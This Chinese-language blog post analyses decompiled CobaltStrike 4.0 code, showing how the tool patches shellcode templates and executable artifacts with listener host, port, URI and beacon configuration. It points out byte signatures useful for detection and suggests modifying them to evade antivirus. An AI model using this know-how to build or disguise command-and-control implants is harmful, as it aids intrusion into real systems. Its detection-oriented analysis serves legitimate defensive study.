可能我们在后渗透阶段使用CobaltStrike使用的是比较多的,关于一款工具,我们不仅仅只能停留在如何使用它,我们也应该了解一下它实现的原理,本文将带着大家和我一起学习关于CoblatStrike这款工具shell生成的过程还有执行流程。我这里是以CobaltStrike4.0为例来进行分析的。
首先我们将CobaltStrike导入到IDEA中,对着CobaltStrike.jar右键选择-add as libirary,那样我们就可以在IDEA中查看这个包反编译的代码,IDEA反编译代码的还原度还是非常高的。
payload generator CobaltStrike所有的ui在aggressor\dialogs\目录下,因此我们如果想要知道在我们点击了某个按键后CobaltStrike执行了什么操作,在这个目录下找就可以了,因为我们想查看在生成paylad的时候执行了什么操作,因此找payload generator就可以了,我们先看一下dialogAction这个方法中的逻辑。
这个逻辑我们根据生成payload的窗口可能更好理解一些,我把我的分析写到注释里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void dialogAction(ActionEvent var1, Map var2) { this.options = var2; boolean var3 = DialogUtils.bool(var2, "x64"); //判断是否生成x64的payload String var4 = DialogUtils.string(var2, "listener"); //接收listener的值 this.stager = ListenerUtils.getListener(this.client, var4).getPayloadStager(var3 ? "x64" : "x86"); //首先调用getListener获取到Listener,再调用getPayloadStager获取stager if (this.stager.length == 0) { //判断stager是否生成成功,如果为空,则报错 if (var3) { DialogUtils.showError("No x64 stager for listener " + var4); } else { DialogUtils.showError("No x86 stager for listener " + var4); } } else { Map var5 = DialogUtils.toMap("ASPX: aspx, C: c, C#: cs, HTML Application: hta, Java: java, Perl: pl, PowerShell: ps1, PowerShell Command: txt, Python: py, Raw: bin, Ruby: rb, COM Scriptlet: sct, Veil: txt, VBA: vba"); //将内容转换为Map形式 String var6 = DialogUtils.string(var2, "format"); //从var2这个hashmap中获取键为format对应的值 String var7 = "payload." + var5.get(var6); //拼接内容大概是payload.format SafeDialogs.saveFile((JFrame)null, var7, this); //调用save方法 } }
我们将下面这句代码扩展分析一下,getListener故名思意就是获取Listener,跟进去后发现会返回一个SCListener对象。
1 this.stager = ListenerUtils.getListener(this.client, var4).getPayloadStager(var3 ? "x64" : "x86");
我们主要关注一下getPayloadStager是如何运行的,跟进后发现getPayloadStager仅仅返回了Stagers.shellcode的执行结果
跟进shellcode方法,执行了两个操作,首先调用resolve方法进行解析,返回一个GenericStager对象,再调用这个对象的generate方法。
跟进resolve看看执行了什么操作,在if中会判断var3是否是x86结构,如果是将this.x86_stagers赋值给var4,再判断var6是否包含var2关键字,如果包含,则调用create方法。
我们先看看x86_stagers是怎么来的,在Stagers类的开始创建了X86_stagers和x64_stagers,并且调用了Stagers()这个构造方法,我们可以看到在这个方法中调用了add方法来执行操作
再跟进去看看add方法执行了什么操作,首先通过掉用TestAech方法判断是否含有x86或x64,如果正常以后再判断是否是x86,如果是则向x86_stagers则以键值对的形式写入内容,如果不是则向x64_stagers写入内容。
我们选择一个BeaconHTTPStagerX86来看看,payload函数执行了什么操作,通过下面的代码可以看到返回了windows/beacon_http/reverse_http,其他的payload函数返回的内容类似,就不一一举例了。
那么var1的内容是什么呢?还是以http x86的stager为例,我们发现它是new BeaconHTTPStagerX86()后返回的结果。
那么BeaconHTTPStagerX86在构造方法中又做了什么操作呢,我们通过下面的代码可以看到它调用了父类GenericHTTPStagerX86的构造方法
跟进GenericHTTPStagerX86的构造方法,发现其又调用了父类GenericHTTPStager的构造方法
跟进GenericHTTPStager的构造方法,发现其又调用了父类GenericStager的构造方法
在GenericStager方法中,可以看到其实什么也没做
最后其实比较关键的代码是调用了generate方法
因为我的listener是http x86的listener,所以最终调用stagers\GenericHTTPStager.class的generate方法如下,
在该代码种首先通过resouce方法加载资源,资源文件,资源文件是通过getStagetFile()获得的,在GenericHTTPStager.class中的getStagetFile是一个抽象方法,而且GenericHTTPStager也是一个抽象类,所以我们要在继承了GenericHTTPStager的子类中寻找getStagetFile的实现,最终在GenericHTTPStagerX86找到了getStagetFile的实现,是加载resources/httpstager.bin文件
下面的代码中,读取httpstager.bin文件的内容,并且对其中的某些值进行替换,httpstager.bin其实就是shellcode生成的一个模板文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public byte[] generate() { try { InputStream var1 = CommonUtils.resource(this.getStagerFile()); //读取httpstager.bin的内容 byte[] var2 = CommonUtils.readAll(var1); String var3 = CommonUtils.bString(var2); //从byte类型转换为字符串类型 var1.close(); var3 = var3 + this.getListener().getStagerHost() + '\u0000'; //从option中获取host Packer var4 = new Packer(); //类中内置了对于字符串,字节,hex等处理的方法 var4.little(); //字节顺序,决定大端字节和小端字节的读取问题 var4.addShort(this.getListener().getPort()); //从option中获取port值 AssertUtils.TestPatchS(var2, 4444, this.getPortOffset()); //判断getPortOffset的对应的值是否是4444 var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getPortOffset()); //将4444替换为option设置的端口地址 var4 = new Packer(); var4.little(); var4.addInt(1453503984); //exit对应的偏移地址 AssertUtils.TestPatchI(var2, 1453503984, this.getExitOffset()); var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getExitOffset()); //exit对应的偏移地址替换,不过这个看起来默认是没变的 var4 = new Packer(); var4.little(); var4.addShort(this.getStagePreamble());//在getStagePreamble中判断是否为forign类型,如果不是,则返回stage_offset。 AssertUtils.TestPatchS(var2, 5555, this.getSkipOffset()); //判断getSkipOffset的返回值是否是5555 var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getSkipOffset()); //将stage_offset的值进行替换 var4 = new Packer(); var4.little(); var4.addInt(this.getConnectionFlags()); //判断是否是https AssertUtils.TestPatchI(var2, this.isSSL() ? -2069876224 : -2074082816, this.getFlagsOffset()); var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getFlagsOffset()); String var5; if (CommonUtils.isin(CommonUtils.repeat("X", 303), var3)) { var5 = this.getConfig().pad(this.getHeaders() + '\u0000', 303); var3 = CommonUtils.replaceAt(var3, var5, var3.indexOf(CommonUtils.repeat("X", 127))); //将hreader中的值进行替换 } int var6 = var3.indexOf(CommonUtils.repeat("Y", 79), 0); var5 = this.getConfig().pad(this.getURI() + '\u0000', 79); var3 = CommonUtils.replaceAt(var3, var5, var6); //从config中获取url的值,并进行替换 return CommonUtils.toBytes(var3 + this.getConfig().getWatermark()); //以字节数组的形式返回 } catch (IOException var7) { MudgeSanity.logException("HttpStagerGeneric: " + this.getStagerFile(), var7, false); return new byte[0]; } }
通过上面的分析,我们可以看出来,这里所作的操作就是读取httpstager.bin这个模板文件,然后对模板文件中的请求地址,请求头等地方进行替换。
再回到aggressor\dialogs\PayloadGeneratorDialog.class中,我们看下dialogResult方法,这个方法会针对我们选择不同的shellcode的生成类型,将stager转换为不同的类型,最后写入到文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public void dialogResult(String var1) { String var2 = DialogUtils.string(this.options, "format"); boolean var3 = DialogUtils.bool(this.options, "x64"); String var4 = DialogUtils.string(this.options, "listener"); if (var2.equals("C")) { this.stager = Transforms.toC(this.stager); } else if (var2.equals("C#")) { this.stager = Transforms.toCSharp(this.stager); } else if (var2.equals("Java")) { this.stager = Transforms.toJava(this.stager); } else if (var2.equals("Perl")) { this.stager = Transforms.toPerl(this.stager); } else if (var2.equals("PowerShell") && var3) { this.stager = (new ResourceUtils(this.client)).buildPowerShell(this.stager, true); } else if (var2.equals("PowerShell") && !var3) { this.stager = (new ResourceUtils(this.client)).buildPowerShell(this.stager); } else if (var2.equals("PowerShell Command") && var3) { this.stager = (new PowerShellUtils(this.client)).buildPowerShellCommand(this.stager, true); } else if (var2.equals("PowerShell Command") && !var3) { this.stager = (new PowerShellUtils(this.client)).buildPowerShellCommand(this.stager, false); } else if (var2.equals("Python")) { this.stager = Transforms.toPython(this.stager); } else if (!var2.equals("Raw")) { if (var2.equals("Ruby")) { this.stager = Transforms.toPython(this.stager); } else if (var2.equals("COM Scriptlet")) { if (var3) { DialogUtils.showError(var2 + " is not compatible with x64 stagers"); return; } this.stager = (new ArtifactUtils(this.client)).buildSCT(this.stager); } else if (var2.equals("Veil")) { this.stager = Transforms.toVeil(this.stager); } else if (var2.equals("VBA")) { this.stager = CommonUtils.toBytes("myArray = " + Transforms.toVBA(this.stager)); } } CommonUtils.writeToFile(new File(var1), this.stager); DialogUtils.showInfo("Saved " + var2 + " to\n" + var1); }
我们以C#为例来进行分析,主要代码如下
1 2 if (var2.equals("C#")) { this.stager = Transforms.toCSharp(this.stager);
跟进toCSharp方法,创建了一个Packer对象,添加了stager长度的字符串,再添加了stager字节数组的字符串。
最后再将生成的shellcode写入文件。
好了,关于payload generator的过程就分析到这里,可能由于个人水平有限,在静态代码分析的功底有限,有些地方可能分析的不对,不过这里大致的流程分析是没有问题的。主要是在stager生成这里,将httpstager.bin模板里的关于监听主机和端口以及uri的位置进行了替换和修改,然后根据不同的类型写入文件。所以如果要免杀,其实有一个思路也是可以将这个httpstager.bin的内容分析出来,将有特征的部分进行更改。
windows executable windows executable是在WindowsExecutableDialog.class中进行处理的,其中关于stager生成的部分和payload generator相同,就不分析了,再看下dialogResult方法,先看下windows exe是怎么处理的,这里主要是调用了patchArtifact方法来进行处理,我们看下这个方法是做什么的。
跟进patchArtifact,发现内部还调用了patchArtifact方法
继续跟进
1 2 3 4 5 6 7 public byte[] patchArtifact(byte[] var1, String var2) { Stack var3 = new Stack(); var3.push(SleepUtils.getScalar(var1)); var3.push(SleepUtils.getScalar(var2)); String var4 = this.client.getScriptEngine().format("EXECUTABLE_ARTIFACT_GENERATOR", var3); return var4 == null ? this.fixChecksum(this._patchArtifact(var1, var2)) : this.fixChecksum(CommonUtils.toBytes(var4)); }
主要看下_patchArtifact的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public byte[] _patchArtifact(byte[] var1, String var2) { try { InputStream var3 = CommonUtils.resource("resources/" + var2); //我这里var2是artifact64.exe,所以这里加载的是resources/artifact64.exe byte[] var4 = CommonUtils.readAll(var3); //读取artifact64.exe的内容 var3.close(); byte[] var5 = new byte[]{(byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254)}; byte[] var6 = new byte[var1.length]; for(int var7 = 0; var7 < var1.length; ++var7) { var6[var7] = (byte)(var1[var7] ^ var5[var7 % 4]); } String var12 = CommonUtils.bString(var4); int var8 = var12.indexOf(CommonUtils.repeat("A", 1024));//找到存在1024个A的位置 Packer var9 = new Packer(); var9.little(); var9.addInteger(var8 + 16); var9.addInteger(var1.length); //写入stager的长度 var9.addString(var5, var5.length); // 写入随机字符 var9.addString("aaaa", 4); var9.addString(var6, var6.length); //写入stager内容 if (License.isTrial()) { var9.addString("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); CommonUtils.print_trial("Added EICAR string to " + var2); } byte[] var10 = var9.getBytes(); var12 = CommonUtils.replaceAt(var12, CommonUtils.bString(var10), var8); return CommonUtils.toBytes(var12); } catch (IOException var11) { MudgeSanity.logException("patchArtifact", var11, false); return new byte[0]; } }
总结一下上面的过程,主要就是将1024个A的地址进行替换,替换为随机字符和stager。
用010 editor打开artifact64.exe文件,发现确实是有很多A
我们再尝试生成一个x64的exe,用010 editor再看看里面的内容,我们可以看到在某处的开头是有aaaa,并且在最后还有一些大写的A,所以这两个点都可以当作CobaltStrike默认生成的exe的特征。
我再看了下dll和service类型的生成方式,发现最终都调用了_patchArtifact方法,因此他们这些模板文件中也都包含了1024个A,并且在替换的过程中首先也会写入四个a,我们以dll为例再看看。
那我们猜想一下,关于这个特征查杀是也可以根据首先出现4个a,在1024个字符以内,又同时出现10个A来进行检测呢?
windows executables 还有一种形式,我们在使用privote生成shellcode常用到,那就是windows executables生成的是stagerless类型,这种形式的生成是在WindowsExecutableStageDialog.class文件中
首先看下dialogAction中的代码,我们可以看到和payload generator和windows executable的形式不同,executables中并没有在这个方法中生成stager。
再看下dialogResult方法,和其他的方式不同,它也获取了SCListener,并通过调用export方法
我们跟进export方法,export的代码如下,他根据payload的类型,调用了不同的方法,我们以最基本的http_reverse为例进行分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public byte[] export(String var1, int var2) { if ("windows/foreign/reverse_http".equals(this.getPayload())) { return this.getPayloadStager(var1); } else if ("windows/foreign/reverse_https".equals(this.getPayload())) { return this.getPayloadStager(var1); } else if ("windows/beacon_http/reverse_http".equals(this.getPayload())) { return (new BeaconPayload(this, var2)).exportBeaconStageHTTP(this.getPort(), this.getCallbackHosts(), false, false, var1); } else if ("windows/beacon_https/reverse_https".equals(this.getPayload())) { return (new BeaconPayload(this, var2)).exportBeaconStageHTTP(this.getPort(), this.getCallbackHosts(), false, true, var1); } else if ("windows/beacon_dns/reverse_dns_txt".equals(this.getPayload())) { return (new BeaconPayload(this, var2)).exportBeaconStageDNS(this.getPort(), this.getCallbackHosts(), true, false, var1); } else if ("windows/beacon_bind_pipe".equals(this.getPayload())) { return (new BeaconPayload(this, var2)).exportSMBStage(var1); } else if ("windows/beacon_bind_tcp".equals(this.getPayload())) { return (new BeaconPayload(this, var2)).exportBindTCPStage(var1); } else if ("windows/beacon_reverse_tcp".equals(this.getPayload())) { return (new BeaconPayload(this, var2)).exportReverseTCPStage(var1); } else { AssertUtils.TestFail("Unknown payload '" + this.getPayload() + "'"); return new byte[0]; } }
我们发现其调用了exportBeaconStageHTTP方法,跟进这个方法,首先判断架构,再根据架构的不同给var6进行赋值,最后调用了exportBeaconStage方法
1 2 3 4 5 6 7 8 9 10 11 public byte[] exportBeaconStageHTTP(int var1, String var2, boolean var3, boolean var4, String var5) { AssertUtils.TestSetValue(var5, "x86, x64"); String var6 = ""; if ("x86".equals(var5)) { var6 = "resources/beacon.dll"; } else if ("x64".equals(var5)) { var6 = "resources/beacon.x64.dll"; } return this.pe.process(this.exportBeaconStage(var1, var2, var3, var4, var6), var5); }
跟进exportBeaconStage方法,这个方法比较长,我会把简单的分析写在注释中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 protected byte[] exportBeaconStage(int var1, String var2, boolean var3, boolean var4, String var5) { try { long var6 = System.currentTimeMillis(); byte[] var8 = SleevedResource.readResource(var5); //获取sleeve/beacon.dll的内容 if (var2.length() > 254) { var2 = var2.substring(0, 254); } String[] var9 = this.c2profile.getString(".http-get.uri").split(" "); //加载配置文件中.http-get.uri的值 String[] var10 = var2.split(",\\s*"); LinkedList var11 = new LinkedList(); for(int var12 = 0; var12 < var10.length; ++var12) { var11.add(var10[var12]); var11.add(CommonUtils.pick(var9)); } String var32; while(var11.size() > 2 && CommonUtils.join(var11, ",").length() > 255) { var32 = var11.removeLast() + ""; String var13 = var11.removeLast() + ""; CommonUtils.print_info("dropping " + var13 + var32 + " from Beacon profile for size"); } var32 = randua(this.c2profile); int var33 = Integer.parseInt(this.c2profile.getString(".sleeptime")); //加载配置文件的sleeptime的值 String var14 = CommonUtils.pick(this.c2profile.getString(".http-post.uri").split(" ")); byte[] var15 = this.c2profile.recover_binary(".http-get.server.output"); byte[] var16 = this.c2profile.apply_binary(".http-get.client"); byte[] var17 = this.c2profile.apply_binary(".http-post.client"); int var18 = this.c2profile.size(".http-get.server.output", 1048576); int var19 = Integer.parseInt(this.c2profile.getString(".jitter")); if (var19 < 0 || var19 > 99) { var19 = 0; } int var20 = Integer.parseInt(this.c2profile.getString(".maxdns")); if (var20 < 0 || var20 > 255) { var20 = 255; } int var21 = 0; if (var3) { var21 |= 1; } if (var4) { var21 |= 8; } long var22 = CommonUtils.ipToLong(this.c2profile.getString(".dns_idle")); int var24 = Integer.parseInt(this.c2profile.getString(".dns_sleep")); Settings var25 = new Settings(); var25.addShort(1, var21); var25.addShort(2, var1); var25.addInt(3, var33); var25.addInt(4, var18); var25.addShort(5, var19); var25.addShort(6, var20); var25.addData(7, this.publickey, 256); var25.addString(8, CommonUtils.join(var11, ","), 256); var25.addString(9, var32, 128); var25.addString(10, var14, 64); var25.addData(11, var15, 256); var25.addData(12, var16, 256); var25.addData(13, var17, 256); var25.addData(14, CommonUtils.asBinary(this.c2profile.getString(".spawnto")), 16); var25.addString(29, this.c2profile.getString(".post-ex.spawnto_x86"), 64); var25.addString(30, this.c2profile.getString(".post-ex.spawnto_x64"), 64); var25.addString(15, "", 128); var25.addShort(31, QuickSecurity.getCryptoScheme()); var25.addInt(19, (int)var22); var25.addInt(20, var24); var25.addString(26, this.c2profile.getString(".http-get.verb"), 16); var25.addString(27, this.c2profile.getString(".http-post.verb"), 16); var25.addInt(28, this.c2profile.shouldChunkPosts() ? 96 : 0); var25.addInt(37, this.c2profile.getInt(".watermark")); var25.addShort(38, this.c2profile.option(".stage.cleanup") ? 1 : 0); var25.addShort(39, this.c2profile.exerciseCFGCaution() ? 1 : 0); String var26 = this.listener.getHostHeader(); if (var26 != null && var26.length() != 0) { if (Profile.usesHostBeacon(this.c2profile)) { var25.addString(54, "", 128); //获取host的值进行赋值 } else { var25.addString(54, "Host: " + this.listener.getHostHeader() + "\r\n", 128); } } else { var25.addString(54, "", 128); } if (Profile.usesCookieBeacon(this.c2profile)) { var25.addShort(50, 1); } else { var25.addShort(50, 0); } ProxyServer var27 = ProxyServer.parse(this.listener.getProxyString()); var27.setup(var25); this.setupKillDate(var25); this.setupGargle(var25, var5); (new ProcessInject(this.c2profile)).apply(var25); byte[] var28 = var25.toPatch(); var28 = beacon_obfuscate(var28); String var29 = CommonUtils.bString(var8); int var30 = var29.indexOf("AAAABBBBCCCCDDDDEEEEFFFF"); //找到AAAABBBBCCCCDDDDEEEEFFFF的位置 var29 = CommonUtils.replaceAt(var29, CommonUtils.bString(var28), var30); //将模板的内容进行替换 return CommonUtils.toBytes(var29); //返回替换后的结果 } catch (IOException var31) { MudgeSanity.logException("export Beacon stage: " + var5, var31, false); return new byte[0]; } }
简单的分析后我们发现这段代码的主要作用是读取beacon.dll文件,以这个文件作为模板对一些值进行替换,并且是以找到AAAABBBBCCCCDDDDEEEEFFFF来找到要替换的位置的,但是比较奇怪的是我再beacon.dll中并没有发现AAAABBBBCCCCDDDDEEEEFFFF这个字符串。
后面根据不同的类型的类型,调用patchArtifact方法,虽然使用的模板不同,最终还是会有4个a的特征,不过可能使用这种方式的模板比较大,因此不会有大写A这种特征。因为本身替代Stager那部分比如beacon.dll的文件内容就比较大,有200多k。
总结 总结一下这几种生成方式的过程和一些区别
payload generator只是加载stager模板并且对里面host,port和uri部分进行替换,最终生成的文件只是将stager文件以字节数组的形式进行输出
windows executable首先生成stager,这个stager可能非常小,再去替换模板文件中出现1024个A的地址,这种方式由于stager比较小,而且在模板插入stager之前会写入4个a,因此可以把出现4个a和a出现后的1024字节内出现多个A为特征进行检测
windows executables这种方式不会再去生成stager而是使用其他的方式进行替换,而替换stager的部分模板文件过大,因此会在插入的开始出现4个a但是不会出现多个A。
参考文章
从剖析CS木马生成到开发免杀工具